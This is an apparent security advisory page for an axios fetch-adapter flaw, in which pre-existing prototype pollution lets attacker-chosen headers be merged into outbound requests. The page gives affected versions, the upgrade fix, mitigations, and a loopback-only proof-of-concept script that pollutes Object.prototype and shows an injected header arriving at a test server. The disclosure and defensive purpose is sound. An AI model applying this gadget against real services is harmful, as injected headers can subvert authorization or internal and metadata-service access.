AXIOS · CVE-2026-101900 · Package
FIX → 1.20.0 · >=1.20.0
When an attacker already has a prototype-pollution bug in the same Node.js process, axios's fetch adapter can merge attacker-chosen headers into outbound requests with array or class-instance bodies. The Node HTTP adapter blocks this path, but the shared resolveConfig helper used by the fetch adapter does not.
first public Sep 16, 2026 · 3 sources
Could this affect your app?
Free first check from your website. Connect your repo for the full answer.
Only applications that use axios's fetch adapter, send array or custom class-instance request bodies through it, and run in a process that can also be prototype-polluted. Axios does not create the pollution itself, so a team with no prototype-pollution exposure is at much lower risk. Services that use the default Node HTTP adapter are not affected by this specific path.
Not affected if default-config, no-prototype-pollution, plain-object-bodies
Who cares axios, fetch-adapter, node, npm
npm ls axios; versions from 1.12.0 up to but not including 1.20.0 are affected.adapter: 'fetch' in axios calls that send array or custom class-instance bodies.Axios contains a guard in the Node HTTP adapter to avoid using an inherited Object.prototype.getHeaders as a FormData header source. The fetch adapter calls the shared resolveConfig() helper before dispatch, and that helper lacks the same guard. If another vulnerability pollutes Object.prototype with FormData-like properties and getHeaders(), the fetch adapter can merge attacker-controlled headers into the outbound request.
Axios does not create the prototype pollution source. This is a read-side gadget in the fetch adapter configuration path.
An attacker with a prior same-process prototype-pollution primitive can inject headers into fetch-adapter requests. Depending on the target service, this may affect authorization, metadata-service access, cache behavior, conditional request handling, or other application-specific header logic.
Plain objects are blocked by current FormData detection. The confirmed path uses arrays or non-plain class instances whose prototype chain can resolve polluted FormData-like properties.
Affected:
resolveConfig() handling of utils.isFormData(data).Check it with your coding agent
It reads this page and tells you if your code is affected.
Are you affected?
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
Upgrade to 1.20.0 · >=1.20.0
1.20.0 or later.Symbol.toStringTagappendgetHeadersNot affected:
data.getHeaders !== Object.prototype.getHeaders.isFormData() plain-object guard.lib/helpers/resolveConfig.js currently contains:
if (utils.isFormData(data)) {
if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv || utils.isReactNative(data)) {
headers.setContentType(undefined);
} else if (utils.isFunction(data.getHeaders)) {
setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy'));
}
}
Unlike lib/adapters/http.js, this code does not reject Object.prototype.getHeaders. Local verification on axios 1.18.1 polluted Object.prototype[Symbol.toStringTag], append, and getHeaders, then sent an array body with adapter: 'fetch'. The loopback server received X-Poisoned: yes.
Constrained local demonstration:
Object.prototype[Symbol.toStringTag] = 'FormData';
Object.prototype.append = function () {};
Object.prototype.getHeaders = () => ({ 'X-Poisoned': 'yes' });
await axios.post(url, ['a', 'b'], { adapter: 'fetch' });
Expected safe behavior is that inherited Object.prototype.getHeaders is ignored. Current affected behavior merges the returned header.
Use the Node HTTP adapter for server-side requests that may run in a polluted process. Avoid passing array or class-instance bodies through the fetch adapter when prototype pollution is suspected.
The Node HTTP adapter contains a guard that prevents Object.prototype.getHeaders from being used as a FormData header source. The shared resolveConfig() helper does not have the same guard. The fetch adapter calls resolveConfig(), so it can still merge headers returned by inherited data.getHeaders().
This is a patch mismatch for the FormData prototype-pollution header-injection class.
Validated on:
1.17.04306df2v24.15.0adapter: 'fetch'.Object.prototype[Symbol.toStringTag] = 'FormData'Object.prototype.append = function () {}Object.prototype.getHeaders = function () { ... }isFormData() plain-object guard.lib/adapters/http.js contains:
data.getHeaders !== Object.prototype.getHeaders
But lib/helpers/resolveConfig.js only checks:
} else if (utils.isFunction(data.getHeaders)) {
setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy'));
}
The fetch adapter calls resolveConfig(config) before dispatching the request.
An attacker can inject arbitrary headers into fetch-adapter requests. This may be used to influence internal APIs, metadata services, cache behavior, or application-specific authorization checks.
import axios from './index.js';
import http from 'http';
const start = (handler) => new Promise((resolve) => {
const server = http.createServer((req, res) => {
let body = '';
req.on('data', (chunk) => (body += chunk));
req.on('end', () => handler(req, res, body));
});
server.listen(0, '127.0.0.1', () => resolve(server));
});
const stop = (server) => new Promise((resolve) => server.close(resolve));
const hits = [];
const tag = Symbol.toStringTag;
const server = await start((req, res, body) => {
hits.push({ headers: req.headers, body });
res.setHeader('Content-Type', 'application/json');
res.end('{"ok":true}');
});
try {
Object.prototype[tag] = 'FormData';
Object.prototype.append = function () {};
Object.prototype.getHeaders = () => {
const headers = Object.create(null);
headers['X-Poisoned'] = 'yes';
return headers;
};
await axios.post(`http://127.0.0.1:${server.address().port}/fetch-formdata`, ['a', 'b'], {
adapter: 'fetch',
timeout: 3000
});
console.log(hits[0]);
} finally {
delete Object.prototype[tag];
delete Object.prototype.append;
delete Object.prototype.getHeaders;
await stop(server);
}
Observed wire request:
{
"headers": {
"x-poisoned": "yes",
"content-type": "text/plain;charset=UTF-8",
"content-length": "3"
},
"body": "a,b"
}
lib/adapters/http.js, lib/helpers/resolveConfig.jsThis page as .md · .json · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.